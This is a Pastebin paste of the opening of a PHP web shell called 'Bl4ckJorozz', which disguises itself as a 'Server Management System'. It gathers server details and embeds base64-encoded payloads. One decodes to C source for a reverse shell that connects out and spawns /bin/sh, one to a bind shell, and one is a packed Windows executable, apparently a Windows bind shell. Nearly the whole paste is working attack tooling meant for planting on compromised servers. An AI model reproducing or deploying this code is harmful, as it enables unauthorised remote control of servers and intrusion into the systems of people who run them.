HenryGlazt

Bl4ckJorozz | Shell

Nov 29th, 2014
301
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 46.48 KB | None | 0 0
  1. <?php
  2.  
  3. //################ VARIABLES GOES HERE #######################=============================================]
  4. $shell_name = "Bl4ckJorozz";
  5. $shell_fake_name = "Server Management System";
  6. $shell_title = "# ".$shell_name." #";
  7. $shell_version = "v1";
  8. $shell_fav_port = "12345";
  9. $shell_color = "#008000";
  10.  
  11. // server software
  12. $xSoftware = trim(getenv("SERVER_SOFTWARE"));
  13. // uname -a
  14. $xSystem = trim(php_uname());
  15. // server ip
  16. $xServerIP = $_SERVER["SERVER_ADDR"];
  17. // your ip ;-)
  18. $xClientIP = $_SERVER['REMOTE_ADDR'];
  19.  
  20. $xHeader = $xSoftware."<br />".$xSystem."<br />Server IP: <span class=\"gaul\">[ </span>".$xServerIP."<span class=\"gaul\"> ]</span>&nbsp;&nbsp;&nbsp;Your IP: <span class=\"gaul\">[ </span>".$xClientIP."<span class=\"gaul\"> ]</span>";
  21.  
  22. //################# RESOURCES GOES HERE #######################=============================================]
  23. $bg = "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAE
  24. MZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII=";
  25. $xBack ="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l
  26. dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk
  27. Ow0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47IA0KIGRhZW1vbigxLDApOw0KIHNpbi5zaW5fZmFt
  28. aWx5ID0gQUZfSU5FVDsNCiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0pKTsNCiBz
  29. aW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGFyZ3ZbMl0pOyANCiBiemVybyhhcmd2WzJd
  30. LHN0cmxlbihhcmd2WzJdKSsxK3N0cmxlbihhcmd2WzFdKSk7IA0KIGZkID0gc29ja2V0KEFGX0lO
  31. RVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyANCiBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1
  32. Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICBw
  33. ZXJyb3IoIlstXSBjb25uZWN0KCkiKTsNCiAgIGV4aXQoMCk7DQogfQ0KIGR1cDIoZmQsIDApOw0K
  34. IGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFy
  35. ICopMCk7IA0KIGNsb3NlKGZkKTsgDQp9";
  36. $xBind = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5
  37. cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N
  38. CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy
  39. ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBy
  40. ZW1vdGU7DQogaWYoZm9yaygpID09IDApIHsgDQogcmVtb3RlLnNpbl9mYW1pbHkgPSBBRl9JTkVU
  41. Ow0KIHJlbW90ZS5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KIHJlbW90ZS5zaW5f
  42. YWRkci5zX2FkZHIgPSBodG9ubChJTkFERFJfQU5ZKTsgDQogc29ja2ZkID0gc29ja2V0KEFGX0lO
  43. RVQsU09DS19TVFJFQU0sMCk7DQogaWYoIXNvY2tmZCkgcGVycm9yKCJzb2NrZXQgZXJyb3IiKTsN
  44. CiBiaW5kKHNvY2tmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSZyZW1vdGUsIDB4MTApOw0KIGxpc3Rl
  45. bihzb2NrZmQsIDUpOw0KIHdoaWxlKDEpDQogIHsNCiAgIG5ld2ZkPWFjY2VwdChzb2NrZmQsMCww
  46. KTsNCiAgIGR1cDIobmV3ZmQsMCk7DQogICBkdXAyKG5ld2ZkLDEpOw0KICAgZHVwMihuZXdmZCwy
  47. KTsgICANCiAgIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KICAgY2xvc2UobmV3
  48. ZmQpOw0KICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7
  49. DQppbnQgaTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRb
  50. aV0gPT0gJ1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykN
  51. CmVudGVyZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVy
  52. biAwOw0KfQ==";
  53. $wBind="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  54. AAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
  55. ZGUuDQ0KJAAAAAAAAAA0GAk5cHlnanB5Z2pweWdqmGZsanF5Z2rzZWlqenlnanB5ZmpNeWdqEmZ0
  56. and5Z2qYZm1qanlnalJpY2hweWdqAAAAAAAAAABQRQAATAEDAIkLlD8AAAAAAAAAAOAADwELAQYA
  57. ADAAAAAQAAAAQAAAYHIAAABQAAAAgAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACQAAAA
  58. EAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAACAAAAIAQAAAAAAAAAA
  59. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  60. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAA
  61. AEAAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAAAwAAAAUAAAACQAAAAEAAAA
  62. AAAAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAAAIAAAAACAAAAKAAAAAAAAAAAAAAAAAAAQAAAwAAA
  63. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  64. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  65. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  66. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  67. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  68. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  69. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  70. AAAAAAAAAAAAAAAAAAAAAAAAMy4wNABVUFghDQkCCbOeYU01Vb5H61QAAFUiAAAAYAAAJgMADCfk
  71. //+DfCQEBXUIagD/FTBAQADCBACQuCx03/7/EgAA6AMABSxTVVZXaAAQI2gwUEAuHN1v396L0LkH
  72. HgAzwI1GPPOruAQMv/aX3bsQBIlEJEADRI08M9tQUokf9naz/USJXCRQNgyheFYEvvdlJ/6v+/+D
  73. +AGJdCQUfhyLDYQTUWkXg8QEZjvDbHf/7j4UdQQdjZQkrFNSagI+9Hb/ut+FwA+FQwI8PUcDfX5T
  74. AGoB+777+x7olPA78zYYD4QeAptTSa3puq4ggBQHJAMoLCp7vm2b8GbHChwki0wkFFFA7U33Z+xU
  75. JBBmvR4cUlBWdZDucpDczQFqChDkXjfsZryLLUTTThD+W/7t1taVIItuGI1MJBCNVFFG/vYgW5zg
  76. dNPp5gIQaBAnABbOZhpHQP2IVNAbbt1HO9N0sJMQu4vxWSzBu///wukCXIvOg+ED86oPv0oKi1IM
  77. i8EYMIvK956/Mhqli8ikxtEshG8IwckYzUYd6V67sBlO/wDm4Sxb5wYZ2DUYtFhA1d13lw12PAJo
  78. BONSx4QkjNgBzn54cwtMnCSQ47QkmAacHtt8T6AAzzyNvDqDyf/G7nfcwmhQLvKu99FJiZ/GhACa
  79. pum6GVwHRWVBY2marmlGeB9CbUfTme8GQwdkiJwMSA5E94s9Wy5mOIR6r1BR6bZN11oQ6wW2XFNS
  80. 1DSD6QpHdQ4A4dR3HP+QbgFFC8xfXl1bgcTj4Y5HNvkIg+wQ6DPtV8oKl7vH6AcUIBCJbM0U/mbr
  81. Axw8TGg/AA8AVVVMRmr/LFQE+Dv9dHl/GldeePfZEwgdAAU7xXQF+tPrWfvdtNkUSD0kInVMVQBW
  82. VZcOc7ddMv8BSWg4NzwQs22lf+iF7XQjlQFVTRQLbtvONQzWINa0Vltxc41LJRDCa6ldiS3t9mbJ
  83. fHgBOT1sUgp+ESDvfnf6agiKBlBPKQjrEIsVYF4zyYoOj/Hf/YoESoPgCJgDRuvQgD4AdGa7iTSF
  84. 1n57u4AGQKMMOkY8InUYBgWy7X//dAtGhMB0Qgp19UbGBgA1mmUeO8lmyQ5RD6Fk0ooW+q0dWVB1
  85. zh8/yXQC68tXOGloBxCUGAcANjrM3FIA+MfOzIDyH2v6ZYurg8cBfg8PtgdqCNle6X1ZWesOLGTF
  86. QQr/9rKFwEfr0hU3R4P+LYvubGGt19oGKzUPdkMsZw/7DGoEVkALoTxwBP32798NjQSbjVxG0DDr
  87. z4P9QsN1AvfYyb7b+pLD/0MENgSMWcPMAB0fo8BRPQJxCHIUgUIVv/2x3z4tEIUBF3PsK8iLxAyL
  88. 4YsIi+H/jYVAAsMh7FGLRQiNSAGB+QCfsHR7tncMvQ+3vutSt1b//+2v1w7B+QiB0fZEVgGAXnQO
  89. gGX+AIhN/I3LduOIRf0g6wkN/UX82rXtj/ZYjU0KBRNRUI0QUAvfbrjQnQdmxBxOAsnDU0UKI0Wy
  90. Y4HfDMl0av+qQVKUIuHGe/dkoQAAUGSJJQfgWFNi8SNceIll6Il0QKvUiRX4VNt3n95hyIHh/8gN
  91. 9A3B4QgDygrw3A+7P+gQo+wHM/ZFEVpZbrs3ug0wHAsG1ol1/AgPr+y79kkWoxhaBA8OfaPQVAls
  92. 22Z3DDAEC3cImSvQt6T3/zMNCEQWH4lFnPZF0AF0Brs0vS1w1OsDWlgddZxWoXALv2XXUCMDDKAI
  93. CMZH7GVD6Q1VCYlNmOzOCZs2F77dw4vHdZge1+3YVHUFWO0g7A0TaLwToQmVbAhz5XhSLyRZJXhL
  94. OBEC7ADu7jYbxAiLC8gFDHUJDwT34dv43TqrUwWL2B33ZK0DCZzgLjCE01safxh8eHKEGKHcU9s7
  95. NdgsbHA+zeReVhF7f6TOM/yAInQEi8brHRsY+WSDZwxTiHyEzgAtvMG7AlijQ2wCdSQcHGVbMN1J
  96. BaFEvBEUAhDYMSuVDDkzqQiHt18LmGzglCRdGBmhVGObbU/0RY1TLEEg+InW0HQbwFRAhBg3wb/x
  97. b18f4FZ0Y4ld/I08IceDwAMkdmEXi/wNwIv00NxXzDhKy46FFPwMW6PBxkY7kdQqg7//ydrs1ukp
  98. SeBWXxxVPHOtc1IRFNeg7esCnYULXUNlbU3wJg2JCG8sgVvIoRRaCNgH80Bh0BohCPquIV+DgZQO
  99. AD5ndg2nwxjQDI4I6BC5tU3IAVcPX7koVbM9Ond1ERh6LGUGhHBxoSEIDNSLXAmd/d0VpCKIHSAo
  100. PKEQgyI/+98tuAwJVo1x/DvwchOLBpeD7gQ7hnyFvzUic+1e8pQUw5d8N25oIBAchdtbC61nxDp6
  101. iYZwX8MFtSfbdRI7qnMNV8YE61HCtms4yp4IPgrcGFn4N1v7xSBwWAhIChWD+wXlDd0LWYNgCOpY
  102. 4wrZg/uNktvMhPauLGEsvbbrY6VNQguLSASDZ4XIHf/NrTT4EAUV/APRVjvKfRWNNPC33e1JK9EE
  103. tYgSgyYCxgxKdfeL3bYOdngEU7eOM8BpxwWfAXv3DINA63A9kBKBXT0B+RmQkYRKPZP5GZCfhTc9
  104. jYIkPY9Onp8BhhE9kgqKay2MnZ2IarXTdAprwH0fWV7rCPpREWOj41lwFPiDyP8xbFko1yi5uFtd
  105. w+RGUS7ufbtGOWjZVrgFdO3r7Rv8n4DADDvGcwQ5EN2NDEleA+xyfL+NFTvBEnSWMwhaeBk4sgAZ
  106. WrHkRDPxkQ4likYBJ002Gy7QIBHAwFCnFVR05vi2lSVa4yENBwo8IHa6rr2VTQwgd/o0KAQP6fUu
  107. LZTZ21MnOR1a29cWrA5bWtAT/yc6An/6SyESPD10AUddGxxZjSL8Tm3wAevorL1hZhqcA25HW3tZ
  108. 5zUI9Y7sfwtPCcYHPUE4H3Q5VVc5it2+RUhZRYA/SSJVNLZYtlB5PAYuOzaxb3f8eKxZblkD/Td1
  109. yV3/hEPpt30WdisdC4kejYc2Bl84qWFb1FG9rxi5V74wii2pP7bDqZATKaIYfP44g61ChRhNJ874
  110. vNoGrxV1n6yLDy0N2zag/NiI1KgYtWGTrtahCC8n2zWs1SSGMTVwFEhazuVuZgCco/ylL5hSu7Vt
  111. TBgcFJSDIXJqjlhji0p9VLUgrdVLpYV4dzeDx1MU8gv/woA4m0SKUAFAgPq+KYTSdCUX3rj90vaC
  112. 4VdHBHQ9AYX2cIoQHTsy9ogWRkAL1evODASAyNjtLR1GQBzrQx4Ff0vetgRARNr2gxkYiB5e3pq7
  113. RmUgdAkJCAl1zHUDSLY3jjW7Smb/gGUYAE4A+75mlrbgRCsFJwNeeGBmbPEXyLyLVbbCaxffAsfQ
  114. 14UiXNH49y3wQEPr95Is9sMBltzaX7hBOX1tDYB4ASKN4x2Lwihh2EpbNwgM7u/2t98YGA+UwokF
  115. 0euL00uFkw5DiNpboULXBbFLdfOA30Zr5KcgP1UKij+su9Q2dDoPZ3QuKBniwgkTBgYfGw9AsGtz
  116. AwMVAUCQDbWr3deGMA8Og8cDg/eUmgFDo+H7oOOFDm5JoTSIU7stpEBNNgftwT3AzATV+j3XAS0W
  117. Ie3rKGYWTpZvVPsX6hszsgNzAuIPWoHdbLMOQww/J8JmOR5t0Forc+s7CPv5NnZLnwbyK8YvUE7R
  118. +I5A0h2w0QJdUys0/9c1KVdL+jvrdDIyC41qroFbHFVQuyQlIW2D1L1WDBAnXAmL9sTP1gNWnpjD
  119. 61OVTKUSpZO5hbF0PGBD0vZv+3QKQDh7+wT2K8dAalXOUolWWKr7Rrp05WCk9ZyzDpRfPDrxxiCV
  120. w+ww7HCCRIsROmHTpKllMhsVWUAY4DXAsgBaIB6GKfutbNy0cxptBLbGRgUKoSNC7u/S9QgFG+vi
  121. jeGYTh1NDGYJQnXFNen3RQnCbrkLMI3cu/1XYrhKSo0cLnwCdjk1Yz6wzP19Ur8ETI8AOIPS/NjP
  122. f4kHjYh+wXMYgGAIGHuBy0CLD3YIgcF85BVif+bVSXy76waLCfvxL2y80X5Giyr4ZDaKTQD2wQEw
  123. oe6tfgQIdQulsB6lCo2/0MeLz8H4BY1Vy3Qv1HrPIaULiQgviDVe4hvrR0WDw5v+fLpQKPECn+w8
  124. 2P/y2HVNOxa3b10ABIG0avZY64jDSPW7HaE7wPVYrKiD/3MXV2b9MFInDCUVPtAGgE4r89YoauoK
  125. A3UK8MW+xG4EBYBDdAN8m/+4Ajwrszao0kTDhXrVUYN3GWgceGRrUHYgVbSj6FjcOjY8hS4e0UoP
  126. POhY6JAD86BySL9YONF7/OdV2Gi02PRYuCEeCC5SXTqL5afujjrbTItBBAaeuB3rvozRdA+tVIkC
  127. uAMQwz7Njv6hi9lq/mi8IYn/NQDFLrogGSBKi3C+sOO2QP7xLjvadCghdosMs4XbVgmpbUgXfLOx
  128. /fbv+3USaAEBLbN9Em7/VAjrw2SPBQjtnONDooznZIu2t+DS94F5BGh1DVEMpTlRmLh7C7EFm4pR
  129. uxSF2woEK3EIqGFLArdGfGtD0GsMWVt371ZD6G/D/TIwWEMwMPfjCPr8i11Yii3ll1hA5NmC5qB1
  130. cIkxReEPCInvsrU+IXN7CMFhulv7l212sY90RVZVjWsQqAtdI7oXul5BC8QzeDwlU14DxrpyEZgd
  131. VgzatWOyFVw2b96PSnznum2PVQw7CDAaizSP66HqHftq9nwcyesVXEOITVbgP10WlLVCb2i8O4sp
  132. i0H2A151yRoQJOGhe60aCrihmfIqinWs3M98UiFo/D6GoThWj2DUy1nwdZzwH/5g14HspIRVCDPJ
  133. uCjY3bTVPjuQC0JBPbgMfPG5hfe3lfHB5gM7lhomHCpJZ5aGbLzocA3X9h66ENeo+nUL8SBsRGLh
  134. hVw+/7kpAOXBukm6MBMX/ENALXF2FiZZEleSvWdvx+IHYUBZZTx2KRlQL3B2FnT4DYNGagMDN7Op
  135. 7vho+EFXqCesVWD/xs6SNNwQVwy8zP2QwR3YvP+2LNMWzFSr2REKBCfBL98ZsFkaLF/rJo2Emhor
  136. azBq1zY7TdOk3Qhq9Nx/xF5OTUOAyeQtDEdLpo0mCEfFij8x+apEKf6D+gRyLffZVHRvvv9fE4gH
  137. R0l1+ovIweAIA8EGEMqD4gPXXaIUewPzqzoGIw4o5UxKPs0ixDnJVo0EFWVP3ICuHhaKQ4SIJHVb
  138. 0ISBHGZTDglFhgOuq2ohIzvkeCQzUqQB/wUY9poBfvAXLyE1uLQQfXCiFbgi/N5WLJd3/AnSuMgV
  139. OTB0cjBCVFGaYuEN6Nuc99YVIxgkvkBjWb/ggtAWewnT6AGJUMOqcXOjtenkgA+G74B97rG1+NMZ
  140. u03vihEPDK6x9038LLZB/+Q7wg+HkyXHW21ZAw7uUkg/Uux+owEsiwSqjZ7YkYA7v03ob7TLdCyK
  141. UQFkhbb6O8d3t2/3jRTJ/IqSwCAIkEZAE3b1bBu68EFBgDkY1P/cwwid/EGWMC2Ewfz9zG0WHt5Q
  142. o6wLeeTMv8B07P7eD6WlWaO7petVQHn//0g9fWZwGkKhCEA9SnKwbBYrIzksVDbWXmtx+gvCTasA
  143. voLb6OsN2FwKmzCs4KpQ+wTVHUFbangfHpXfgyUhVf4jPMjW6ktc/yV4av0oMHJhFGz85RaxZSdy
  144. GUn1UKmUgameKii0wbY2FwQNbkggdjZTOwG4BOkFEgsgLzzPCBFXbFkzwN4bIdiqtBejxdwbBs76
  145. w18zFKQE7AaMCI1W9+cKFgumfz80wL6HiIQF7KyCxqW6+v5y9IpF8saFDSCpN6Mv4erGjVVgtgra
  146. v3cdKxi0e+zIjbwqQbggAIvZlzb99s/LQkKKQv80ddBfW2qd7PpYa/YagzWNejFWnbFgxFa1I/2y
  147. m032HVYeVjQjKKqwQ1cy/GjvJ39bsBReXD2NcmaLEb+fsMD2wmAW+hCKlAVkiJBO3gqY4L8aAnQQ
  148. IMZbAHdbpqAcgWHCDY08AL/rSRUlf1hju0FyGQRaqkvIgMEgiJOXt7GISR8dYXITencOrm7YmyDp
  149. IOvgTEq+ZeHXgwE6Emr9CJZZ/F+dYHIIWvQDJNCogR+XHw/2VhoWLVg+Zx86Xr0TQMN6HbyxsNdI
  150. fMscJ2qNpCTC/7us4ZH4V/fBA/6KAUG2Ow4S/f//dfGLAbr//v5+A9CD8P8zwoPBBKm/ht9t8IF0
  151. 6Jf8JiOE5HQaqUh0gR4d6Kmno82Ny8tboz/+BP7rCP3rA/zaGswR9l8ZC0EM/WBvxWSIF0di7usF
  152. iRe+rBCsxWduaYNrN/a2m+EvNITkJ/fCaRIH2Qm0sWrHOC5mCLYlK9HG7gwIiAcjw9kIuHAqWsUb
  153. 9eiu/rHgdyIObTo6u23adRZkmJ6DFdoTKvneRbsbOEJYNcANdwtWGiJlqBRNPRwuA3ByCS/U/8rm
  154. 8FZqZEE4xAYAX16I0JCTFEAA5KS5SGMyJBNJtke4QbUrwcMJ/qbZZJL9/IbGoNBStFfFnU1SttEL
  155. FMEQ0QPG1HbUMI3t+PgPgnhH98eMFIrQ/0I4kd9yKfOl/ySV6CwWKvDbYse6HIPpSMrgczO3JYjI
  156. F4UABo34Tdc9XZAHfBAEPANgI7a3wMHRiszXiEcBBQIZW7bmVghZxsdczJaxZSeNSSslAQI7m+RZ
  157. AqaQI0YhrjuQr0c/jN8GzAOapmmaxLy0rKScNN1C/79EjuSJl+QH6OjTNE3T7Ozw8PQC0zRN9Pj4
  158. /BBafNgojZoD8HoJwDTb7//wAC0DDCAN7C3tWF5foJCdCwnBBZv5EaMN4e3DDAorjXQxZ3w5/H92
  159. 20sGJA394/x3gC7CeWtxRe+NMC6PF/mcTPkriC0swma67pCYC7gD4G0DOlvydbdvA05YT1a2S90u
  160. Ydgfo+4C7wK8ZQPyKYyQJySNV7Ykqy0DrkXXXZiBWmBbNAY8A03TNE1ETFRcZHdpmmaELpccHBgY
  161. pmmaphQUEBAMkKZpmgwICAQETdedsB+QBZgDqLwlOLeELpe3tYcDWwizD4MTIZlOCLdoQBnVDLkW
  162. YHK0SFuts50luqwGsAUGwIzEo6iUoLrspd5CeKEY+YChtAfatDVgiLraVJJQDNcL7ZY1ACRyB2MU
  163. 6+hfZXIRIaPLnsX2VnKv8/ryK3EMWriD/7/AwvxXwe4Pi86LevxpyQSvS4l92Cjk3jCMAUSZILZN
  164. xrcG3L0ME9UI+HV/wRGjQnz7aj9JXwsMO892qZELBXq7EwQ7Awh1SL2lIP+tf+hzHL9x0++NTAGO
  165. 1yF8sET+CXUu2Na7K3UhOeskdeAeLX0692AhvLDEEiQGeQSZsXLBUYd8EwoEje+2G8xd+A0IjIv7
  166. wf8EZHRb29r/P3uGXy+94ZfsFWoAWiTQK6gFun/MEaGJVfhJWjvKpnb2/LmtdfPKQRv7QD47+nbb
  167. UrstmPq/dGsuiVG+UTwyMmC9uurSIVRhwSKXER69LdYS8tIhlExSv1pZzrZJvkoLBAgRFS5s1JEn
  168. 7NUJOTOGfDMbpIkp8I0M+crWXPcLJokvDgUIol1q2ZdKY4cHBO/bRrtfzU0P/sGIC3Ml8w9GDnay
  169. 3b+7iIvP0+t2CRkNjUSxxW4V+wkY6ykkwE/gGWOH4J4lWQQPnYS3CVT6VsM4i1RFoxqJXBNXhngs
  170. S3L6oXZMWqp8ot9/pFanQBTi9qZqDwNIDFKAAEPMXiN2klNRgB8y/rD3IBwJUAgOOUAQg6SI4uxu
  171. 9mwkD/5IQwpI6rE33OJ5QxODYAT+EYN4CLrXNt1DbFMQcAxaEgkQLXosLGD0D9hC4RjyBICSy8go
  172. +sW/ofNMEexRjUgUUZsrHOP9dmVizv8NLzsFIjVPv7ZRtxSWOokNTOsidX5Pt6OsiTU1XClgkypm
  173. L2gbn9yNYDyCLBtIF3bw/Ds6TBdqSTR9DoPO/9PugynHWy3t/+/06xAmgP+2wL0z9tPoDgOhaYvY
  174. O99/u/AbfwhzGYtL4TsjKyP+C891C7td41Y+FDuaGHLnB3V520zI94vaO9gmFQXr5hklukV3dVkk
  175. c7N7CEh3yLNzEzfr7SYNG7dfmbMv7hclbnuF23YXtDAWCCYfWVstbFut/IBDqDhsB91r1W0b6SNp
  176. WqUUi8NbqW0W+sdKLYuMkLY7e9ilgJBEiDeLEnAR9gtvZVXdg2X8hEhEC9aLCwEMtdB1B5FJFKb/
  177. LlwcX4v+IzkL13Tpi5cbhzXryjP/XFhNdkz/7mB3V851DWZqIGRfhcl8BdHhR66u2+7r94sgVPlD
  178. Cit/8XuNRk3/wf4EToP+P374Xjeb0qaTzA0BJGEgfSsRt6UOAu84nNPz7CM3ynH3XIhEiQP+D3Xq
  179. Yewh0WID6QvrMRcrlSu4douhMiEZKTaYLCbnKASFIgrArk2vy3oE+ACVr3oIkNt+rmqEoql88UIM
  180. pVkGkFoiwmQG1VLpZv4LfSnEmQsujW2uxxFiv7DOjAk7gN12yQqPCXyu6y8ovg9po+VOtgl7BLG8
  181. cD3Sxa0Wvu4JN2p0uaVfOnQLiQqJA/yyeXVt+G0bvNEiARIy/J+LDnr8VqohJQ8+dRo7HfLQiNSV
  182. 60s7pAbSpbpgaxGJUEIECAY9OCkCDW/sMN26wf9ddTBfiVBy4JCWBaW0V5doMIPCBirHdIicDX/B
  183. YsA9CmjEQeAIR7bPTEUwjTSBM2SJRvZBA/0QdCpqBGj/aLJXGfQGMMhgDB12EFe11ICB/N18TqAW
  184. +60kxYl+BP8FYkFwHapdqovGsu7po/WNrktxyEEIM9vFT+vjRrPgQ8M3acCBWvvEdhtjMIJF6kAI
  185. AgTdujVsnEoe+4XB5995DBcw5LOLEIAARQ36TSbRJycVjZcAcCNocGn7+nc8jUd3SPKDiH5mMO/u
  186. 9I2I/AbHQPzwQg56n/vt7/+lSATHgOgQFAVW3lE3WCzwlnbHI08MBfjeugLghukmiayNSgyH28vW
  187. CI9BZJ5EQrye41Wq8RYsQ4rIC6BGq1vdeohOQwsJeMIsCjgoMMtofmrPj4rQ2KvkYFZCeJDo4WhE
  188. RDBczWeLNbl42FBBhjhEs9ZhB37P/il0UGgoEGgUB6Nkbnop3uHWo2i8C94W/9BdvWf/PXQOoWgQ
  189. BVMRvhigV6phA0FNjgdWR1zr+I8MV5SsUrv6elZTi9ndFPebTgVvqHEkEG7bdW/rIdbVjii8s3Ql
  190. gSkfN/tfe3XrLR1Rg+MDdA0gHaEOKlQv8CBbNVB6z2jDyXQSOoN30j0DcRE67mwYgAjQNi76Kpgg
  191. I8B292Ov+gYny3LyFoPG3iweDLXCtyN1xjnrGIHixwwt9kjTCQ4ABDPSU+5s97ttVQoEiQdfdfiw
  192. dYWjAjlCMFlQRLWCUuQcVJ8QXAI+f0ZX8ltTZIme4FbUVtaMs5XfRhMdI+siIAxRTwg+G4heIgEI
  193. 3mLSWWxcFH4QoHEHRFRdzllZ5WDrotfJHRMdFhy8JQQu2XRIyOb5EHMqOtN9IAQbs3Ygcy5/JKCD
  194. 5yVzIP+Lc+RNnIjW14VWGQRgmxCCG3fEQdw2CMGGX+sTcP8mBby1sRGLOGfcdGa6ZG22M9xhIVf0
  195. TS/iLObsGqWMD+1/iRJPRfd0MvZFDQR0QD6zm6m2HHiyQNV/HtrAbG1kMkjSj1C6kIayyMeD8gvZ
  196. XN2zNtyJXeAuVkoyEluyfXfKutbfdM9k5Gd0nI+4zW43s3UEA+sGjChoIPggNmaU1VC/t3ELFKGL
  197. z8Zx0QgAlkrNi0RW/EoNEmywUELsQO1J9NjcEt3zDF7IKx6DwuSCkxaKdH4PODL1OqqBtwSe2eRA
  198. SXBrf2g8y5HPCYA7eDz8O5ACJNh1BLwD4Dt/CDkA8mg8aDw0XTdYP18GTANEPAk2TdM0LCQcPH/u
  199. M4cAaDzwgAMDkASbjKA8fwDnEfKQPrA9CD1IsOt+LJAYCzgDYD1/yCGQVwA+AD66brBQW7R/vAPE
  200. bJqmaczU3OT3PU4IARJ/HxAgwabrBRgDKDw+fxFm+gXM/yXAmgA1anMA/6sWSitBj8wDF00YkwPb
  201. pv6/cnVudGltZSBlcnJvclENCgNUAflv9kxPU1MRDgBTSU5H/rL2AlNPTUESEVI2MDI4t7+83Qgt
  202. IEthYmx0byBpbmlWYWw/3+zbaXoNaGVhcDcnN25vdLZvcGs9BHVn7nNwYWMjZuw2YO97bG93aThh
  203. Bm9uNyB5Crk2c3RkWvvtZzVwdXIrdmlydHUhM77Y9tulYyMgYwxsKF802nabQl8qZXhcL1iwk732
  204. BtziXzE599vu5r5vcGVYMXNvD2Rlc2NrbTJgKzhGJIHfQIhwZWQZVyM3dms0JG2brHRovyGM5Nth
  205. L2xvY2sXmtsGWzRkt2EuAvat4daiIXJtAHBAZ3JhbSB7IRS2Sm02LzA5T6MZWgoQQSorFPK5RjAu
  206. Kzg9D+H7YXJndShzXzAyZott267Bbm5ngm8FdDoR0ApnrWTmf00tYBj/8LY5ZhVWaXOqQysrIFKg
  207. Ye67PUxpYrRyeScKLRYaZ9vDRQ4hEVDUOsI2rEDZAC7v5eD89ra5JSxrbHduPhtHZXRMYbELd2wy
  208. QQJ2ZVCudXAT/61tZw9XlWQmh2Vzc2FnZUJvNb6wxHhBfXMlMzIuZCrPtaInN745SAMLVJhrxHI6
  209. IAMAq6QeQF4pp7Zq9ftSU01TUwdlbZk0U1ffAKX5v3MgTWFuDucoQnZyAFwv2gOZZMq2ACABKCCZ
  210. SB4ASAAQhEAmZAAQgQZkCGQBEIJkCGRAAhDuqsrcvwABB9sIdZAu2xhbBR/AZJBukAsdCwSWQAZp
  211. Bo0IjmRABmSPkJEFZEAGkpOyLEQHCAfvCowkLwtvDKsABZMZ9zWgb6uIbD9cB03TNE0JMAoMEOB0
